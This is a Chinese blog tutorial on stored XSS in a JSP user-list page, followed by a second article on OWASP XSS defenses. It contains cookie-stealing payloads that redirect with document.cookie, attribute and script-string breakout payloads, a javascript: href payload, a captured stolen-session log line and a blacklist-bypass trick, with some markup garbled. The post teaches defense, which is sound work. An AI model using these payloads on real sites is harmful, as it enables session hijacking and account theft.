8717人阅读
XSS 攻击&防御实验
不要觉得你的网站很安全，实际上每个网站或多或少都存在漏洞，其中xss/csrf是最常见的漏洞，也是最容易被开发者忽略的漏洞，一不小心就要被黑
下面以一个用户列表页面来演示xss攻击的实验
假设某个恶意用户在注册时输入的用户名中包含攻击代码
首先准备一个jsp页面来显示用户列表
&%@ page contentType="text/charset=UTF-8" language="java" %&
&%@ taglib prefix="c" uri="/jsp/jstl/core" %&
items="${users}" var="user"&
&${user.userId}&
&${user.name}&
然后模拟一个control从数据库取出用户列表，显示在该页面上
public class UserController extends HttpServlet {
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
List&User& users = new ArrayList&User&();
users.add(new User(1 , "赖宝"));
users.add(new User(2 , "&script&alert('你被攻击了!');&/script&"));
req.setAttribute("users" , users);
req.getRequestDispatcher("/users.jsp").forward(req,resp);
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req , resp);
当用户访问这个control后进入到用户列表页面，就会看到下面这样的效果了。
用浏览器的查看源代码功能可以看到页面的源代码如下：
&&alert('你被攻击了!');&&
从html源代码中可以看出有脚本被插入到了页面并且被执行了。
上面这个例子的攻击者就是某个不怀好意的注册用户 , 被攻击者就是查看用户列表的一个管理员
当然，上面这样的攻击对被攻击者也造成不了多大的威胁，只是一个弹出而已，如果将攻击代码改成下面这样，你估计就不会这么觉得了。
//假设恶意用户又注册了用户名中包含攻击代码的用户
users.add(new User(3 , "&window.location.href='/?c=' + document.cookie + '&url=' + window.location.href &"));
当管理员再进入用户列表页面时就会发生悲剧了，首先看一下html源码变成啥样了
&&alert('你被攻击了!');&&
&&window.location.href='/?c=' + document.cookie + '&url=' + window.location.href &&
上面的脚本执行了页面跳转，跳转到了一个攻击者的钓鱼网站，并且将当前用户的cookie，当前url等信息都当作参数传过去了。这个问题就大啦，熟悉http的都知道，有了cookie就相当拿到了当前用户的登录信息，攻击者就可以拿这些信息以管理员的身份访问用户列表了。
管理员的访问用户了列表页面后，浏览器变成了这样。(注意看浏览器地址栏，跳转到了钓鱼网站，并且将cookie和url传递过去了)
此时攻击者应该守在电脑屏幕等着网站管理员被攻击，此时他就能看到他的钓鱼网站的访问日志,日志中包含了被攻击用户的cookie与所访问的url
115.182.230.165 - - [22/May/2016:13:11:24 +0800] "GET /?c=__csrf_token__=8xK1wQ3t;%20JSESSIONID=6ub7dbn1pdwl1i1t3wms4i2jl&url=http://localhost:8080/user HTTP/1.1" 200 132 "http://localhost:8080/user" "Mozilla/5.0 (M Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0. Safari/537.36"
这样攻击者就能立马模拟被攻击者的用户信息去访问用户列表页面，如果用户列表中包含用户的很多隐私信息，比如电话，身份证号码，密码(一般不会啦)那么就真的悲剧了，此时攻击者能干什么事，就取决于被攻击用户拥有什么权限了，如果是一个很高级别管理员被攻击，将会有更悲剧的事情发生，各位可以自行脑补
除了直接输出到html标签内的代码可能被攻击，如果攻击代码出现在html标签的属性中也有可能被攻击
比如页面改成下面这样：
&%@ page contentType="text/charset=UTF-8" language="java" %&
&%@ taglib prefix="c" uri="/jsp/jstl/core" %&
items="${users}" var="user"&
&${user.userId}&
userName="${user.name}"&用户信息&
当管理员访问页面时，浏览器查看html源码如下：
userName="赖宝"&用户信息&
userName="&script&alert('你被攻击了!');&/script&"&用户信息&
userName="&script&window.location.href='/?c=' + document.cookie + '&url=' + window.location.href &/script&"&用户信息&
看到的页面如下：
页面显示正常，因为脚本信息被两个引号给包住了，脚本被当作一个普通字符串属性处理了，所以没有执行。
接下来把攻击脚本稍微修改
//脚本前面加了 "&
users.add(new User(3 , "\"& &window.location.href='/?c=' + document.cookie + '&url=' + window.location.href &"));
然后再看看此时html源码
userName="赖宝"&用户信息&
userName="&script&alert('你被攻击了!');&/script&"&用户信息&
userName=""& &window.location.href='/?c=' + document.cookie + '&url=' + window.location.href &"&用户信息&
因为html如果找到一个&符号，就会关闭上一个标签开始下一个标签，所以攻击脚本中估计制造一个”&符号将td标签关闭，接下来的&script&脚本就能正常执行了。
上面的例子只是xss攻击方式里面比较常见的几种，但是足以说明xss攻击的原理与严重性，xss攻击方式是各种各样的，需要开发者在平时的开发中多注意，只要页面上需要展示不确定(用户输入的)的内容，都需要仔细对待
页面上直接输出的所有不确定(用户输入)内容都进行html转译
也就是将所有的[&,&,”,,&]等符号都用[&,&,",&]字符进行替换，这些html标签符号被替换后，浏览器就会拿它当作一个普通字符串对待，而不是当作一个标签的开始/结束标志对待。
比如下面的攻击代码在输出前进行转移
String content = "&script&alert('ok');&/script&";
content= StringEscapeUtils.escapeHtml4(content);
浏览器就不会将转译后的字符串当中脚本执行，而是直接输出一个字符串。 浏览器显示如下：
这样就已经能防御大部分xss攻击了
&a&标签的href属性中不要包含不确定(用户输入)的内容
上面的转译能够解决直接输出在html中的内容，原理是将脚本标签中的&&等符号转译替换掉，但是还有一些情况下执行脚本，是不一定要依赖标签的，也就是脚本不需要用&script&&/script&包住，那么转译对这种脚本就不起作用了，比如a标签中的href属性，除了直接指定一个url进行跳转，还可以通过javascript:xxx();的方式执行js代码。
比如注册用户信息是还要求用户输入一个博客地址(一个url)，用户管理后台的列表中再加一列，让管理员直接点这个链接去访问用户的博客。
& href="${user.blog}"&博客地址&&
攻击者在注册用户时，博客地址如果输入下面这样的脚本：
javascript:window.location.href='/?c=' + document.cookie + '&url=' + window.location.href
那么当管理员点击这个链接的时候，跟之前一样的悲剧就又发生了，管理员的登录信息又被攻击者盗取了。
所以千万不要直接将用户输入的信息输出到href属性中，即使一定要输出，也应该将内容中的javascript/document/cookie/…等js关键字替换掉 ， 最好的方式就是直接将这个信息转译后输出到页面，让管理员复制链接然后再去打开博客
同样的还有onclick , onload , on… 等属性中也千万不要直接放置不确定的内容进去。
script脚本中不要使用不确定的内容
下面假设一个场景：
比如某个直播网站，主播可以设置昵称，用户可以进入该房间观看直播。并且js要用到该主播的昵称，比如要用js将主播昵称放到屏幕中间做一个滚动的效果。
某个开发人员像下面这样写代码 :
var starNick = '${starNick}';
rollingStarNick(starNick);
看起来似乎没啥问题，但是主播如果是一个懂xss攻击，并且想盗取观看用户帐号信息的人。那么问题就大了。
假如主播将昵称改为如下代码：
';window.location.href='http:///?c=' + document.cookie + '&url=' + window.location.'
当用户进入房间后，脚本部分源码将变成这样:
var starNick = '';window.location.href='/?c=' + document.cookie + '&url=' + window.location.'' ;
rollingStarNick(starNick);
攻击脚本最前面的 ‘; 是为了结束变量starNick的定义，不然直接放要指定的脚本会被包裹在两个引号”中作为普通字符串处理。
悲剧发生了～，只要进入到这个房间，就会自动跳转到钓鱼网站，并且将cookie信息也传过去了。
对用户输入内容格式做校验
出现上面情况的前提是，服务端没有对用户输入的内容进行校验。假如服务端校验了博客地址是否是一个url格式、用户名是否包含特殊字符等信息，也就不会发生上面这些攻击了，所以服务端最好对用户输入的内容都进行格式校验。
看完上面的例子之后，你还觉得你的网站非常安全吗～ ?
xss攻击方式多种多样，常见的攻击方式上面都有举例，按照上面的几条防御原则，基本能防御绝大部分攻击了。当然还是需要开发人员格外细心，因为任何一个不注意，就可能导致严重的后果。
参考知识库
* 以上用户言论只代表其个人观点，不代表CSDN网站的观点或立场
访问：902142次
积分：9528
积分：9528
排名：第1505名
原创：182篇
转载：43篇
评论：181条
(2)(1)(2)(1)(1)(1)(2)(3)(1)(1)(4)(3)(5)(7)(1)(3)(2)(6)(27)(4)(4)(3)(4)(16)(15)(25)(10)(12)(10)(5)(20)(27)主题信息（必填）
主题描述（最多限制在50个字符）
申请人信息（必填）
申请信息已提交审核，请注意查收邮件，我们会尽快给您反馈。
如有疑问，请联系
开发者们的力量是无穷滴~欢迎一线的移动开发者们撰文分享你们的进阶、踩过的坑以及对热点技术的看法。一起关注 iOS、Android、跨平台、IoT、VR/AR等技术实践，投稿邮箱：。
作者从数据库的角度讨论了何时进行xss的转义，以及其中的利弊。转义简单，但是何时进行转义原来有这么多学问。对于碰到xss问题的同学有帮助。OWASP TOP 10之如何防御XSS攻击 - 推酷
OWASP TOP 10之如何防御XSS攻击
尽管大多数人都了解XSS的成因，但是要彻底防止XSS攻击并不容易。因为XSS的表现形式各异，利用方式灵活多变，所以不能以单一特征来概括所有XSS攻击，这就给XSS漏洞防御带来了极大的困难。
造成这种现象的原因主要有方面。
首先，Web浏览器本身的设计是不安全的。浏览器只是用于通过URL来获取并显示Web网页的一种软件工具，网络传输过来的数据有的是浏览器用户需要的、能够看到的，也有的是浏览器不能显示的。这些不能显示的内容可能是对用户是透明的协议工作内容，也可能是恶作剧代码，抑或是蓄意破坏的代码，他们会窃取用户计算机上的隐私，甚至会对计算机设备造成破坏。不可否认，Web浏览器包含了解释和执行JavaScript等脚本语言的能力，这些语言可能来创建各种丰富的功能，浏览器只会去执行，而不会判断数据或代码片段是否恶意。
其次，大部分Web开发人员都未受过正规的安全培训，因此没有创建好安全的网站，导致攻击者能利用网络的安全漏洞，注入恶意代码发起攻击。
首先，Web浏览器本身的设计师不安全的。浏览器只是用于通过URL来获取并显示Web网页的一种软件工具，网络传输
在OWASP TOP 10中是这样描述的：
最好的方法是根据数据将要置于HTML上下文（包括主体、属性、JavaScript、CSS或URL）对所有的不可信数据进行恰当的转义。
使用正面或“白名单”的，具有恰当的规范化和解码功能的输入验证方法同样会有助于防止跨站脚本。但由于很多应用程序在输入中需要特殊字符，这一方法不是完整的防护方法。这种验证方法需要尽可能地解码任何编码输入，同时在接受输入之前需要充分验证数据的长度、字符、格式和任何商务规则。
0x00 使用XSS Filter
众周所知，XSS跨站攻击主要从客户端发起，尽管执行时受到很多限制，却能造成更严重的后果。
XSS Filter作为防御跨站攻击的主要手段之一，已经广泛应用在各类Web系统之中，包括现今的许多应用软件，例如IE 8浏览器，通过加入XSS Filter功能可以有效防范所有非持续性的XSS攻击
如图可视IE 8拦截跨站脚本的效果。
但是，XSS本质上是Web应用程序的漏洞，仅仅依靠XSS Filter等客户端的保护是不够的，解决问题的根本是Web应用程序的代码中消除XSS安全漏洞
0x01 输入过滤
我们都知道，跨站脚本攻击是通过一些正常的站内交互途径，如果用户提交了含有恶意JavaScript的内容，服务器端没有及时的过滤掉这些脚本，那么就会造成跨站脚本攻击
对输入数据的过滤，具体可以从两方面来着手：输入验证和数据消毒
输入验证要根据实际情况来设计
输入是否仅仅包含合法的字符
输入字符串是否超过最大长度限制
输入如果为数字，数字是否在指定的范围内
输入是否符合特殊的格式要求
除了在客户端验证数据的合法性，输入过滤中最重要的还是过滤和净化有害的输入，例如以下常见字符
|& && && ‘& “ && #& javascript expression
但是，仅过滤以上敏感字符是远远不够的。
为了能够提供两层防御和确保Web应用程序的安全，对Web应用的输入也要进行过滤
0x02 输出编码
如果没有对用户输入的数据进行过滤而是将用户输入的信息完完整整的呈现出来，就会产生一个XSS
攻击者会故意尝试各种错误的输入，应用程序若检查到输入的内容不合法，马上会通过页面返回错误提示。这些错误信息的反馈正是攻击者需要的，攻击者可以通过观察借此进一步发起攻击。攻击原理和SQL注入的原理是一样的。
HTML编码在防止XSS攻击上可以起到很大的作用，它主要是用对应的HTML实体提单字面量字符，这样做可以确保浏览器安全处理可能存在的恶意字符，将其当做HTML文档的内容而非结构加以处理。
实际情况中，可以根据需求选择比较合适的过滤方式。建议同时采取两种方式，结合使用输入过滤和输出过滤编码能够提供两层防御，即使攻击者发现其中一种过滤存在缺陷，另一种过滤仍然在很大程度上阻止其实施攻击。
0x03 黑名单和白名单
不管是采用输入过滤还是输出过滤，都是针对信息进行黑/白名单式的过滤。
黑名单式的过滤，就是程序先列出不能出现的对象清单，如对&和&这两个关键字符进行检索，一旦发现提交信息中包括&和&字符，就认定为XSS攻击，然后对其进行消毒、编码或者禁用操作。
白名单式的过滤和黑名单相反，不是累出不被允许的对象，而是列出可被接受的对象。
纯粹采用黑名单式的过滤方式是不行的。
过滤可能造成危害的符号及标签
仅允许执行特定格式的语法
&script&xxx&/script&就将其取代为空白
仅允许&img src=”http://xxxxxx”&格式，其格式码一律取代为空白
可允许开放某些特殊HTML标签
可允许特定输入格式的HTML标签
可能因过滤不干净而使攻击者绕过规则
验证程序编写难度较高，且用户可输入变化减少
0x04 定制过滤策略
下面，我们针对一些常见的XSS形式来讨论如何定制安全的过滤策略
正如前面所说那样，黑名单式的过滤策略往往存在很多问题，只能根据已知的XSS攻击来进行检测，而无法对其变种或是新的XSS攻击做出反应
例如：将&script列入黑名单，那么通过下面的形式就可以轻而易举的绕过：
&src&seciptipt src=/xss.js&&/script&
经过过滤之后，代码变成
&script /xss.js&&/script&
这种变形的XSS攻击之所以能够成功，是因为很多XSS检测策略往往只考虑到最为一般的形式，而事实上，即使攻击者注入的代码有些变形，浏览器还是会尽力而为地对他们进行解释，于是XSS攻击仍然会发生。
0x04 Web安全编码规范
在安全领域，有一条黄金法则：“一切输入都是有害的”。即使是这样，因为业务需求，不可能完全过滤用户输入的某些内容，比较可行的解决方案就是在服务端进行Web安全编码，让有害的数据变成无害。
在输出数据前对潜在威胁的字符进行编码、转义，是防御XSS攻击的有效措施
这些输出一般是动态内容。对Web应用而言，其动态内容可能来源于用户输入、URL、HTTP头，POST数据、Cookies的值、查询关键字等，所以，在应用不同背景下的动态内容的XSS攻击时，要部署不同的解决方案
总体来说，Web安全代码规范表达的实际上是同一个理念：将未信任数据嵌入到任何输出之前都应按照上下文的转义规则对其进行编码。
0x05 防御DOM型XSS
DOM型XSS是一种比较特殊的XSS，所以采用的防御方法也和常规的方法有很大不同。
DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面中，它不依赖于提交数据到服务器端，而从客户端获得DOM中的数据在本地执行。由于被处理的数据不在服务器的直接控制范围内，所以仅有服务器端部署防御措施是无法解决问题的。
防范基于DOM的XSS攻击要注意两点。
避免客户端文档重写、重定向或其他敏感操作，同时避免使用客户端数据，这些操作尽量在服务器使用动态页面来实现。
分析和强化客户端JavaScript代码，尤其是一些受到用户影响的DOM对象
从URL获取的：
Document.URL
Document.URLUnencoded
Document.location(.pathname|.href|.search|.hash)
Window.loaction(.pathname|.href|.search|.hash)
Referrer属性
Document.referrer
Windowname属性：
Window.name
其他的输入源也可能会导入DOM型的XSS，包括一些本地储存对象，如：
Document.cookie
HTML5postMessage
LocalStorage/globalStorage
Input.value
0x06 其他防御方式
XSS的攻击已经相当成熟，丰富的攻击技巧更是令人眼花缭乱。相比之下，针对XSS的检测和防范方法显得捉襟见肘。
幸运的是，尽管很难对XSS攻击做出有效检测，但是如果能依照一定的方法对XSS进行防范，XSS攻击便很难造成实质性的危害
（一）、Anti_XSS
Anti_XSS是微软开发的（.NET平台下）用于防止XSS跨站脚本攻击的类库，它提供了大量的编码函数用于处理用户的输入，可实现输入白名单机制和输出转义。
（二）、HttpOnly Cookie
窃取Cookie是最常见的XSS攻击手法之一，即利用XSS攻击手法来打破同源策略。在同源策略规范下，Cookie理应只能提供给同源下的网页读取使用，然而透过XSS漏洞，攻击者可以利用JavaScript中的document.cookie方法窃取用户的Cookie
（三）、WAF
除了使用以上方法地域跨站脚本攻击，还可以使用WAF抵御XSS、
WAF指Web应用防护系统或Web应用防火墙，是专门为保护给予Web应用程序而设计的，主要的功能是防范注入网页木马、XSS以及CSRF等常见漏洞的攻击，在企业环境中深受欢迎。
已发表评论数()
请填写推刊名
描述不能大于100个字符!
权限设置： 公开
仅自己可见
正文不准确
标题不准确
排版有问题
主题不准确
没有分页内容
图片无法显示
视频无法显示
与原文不一致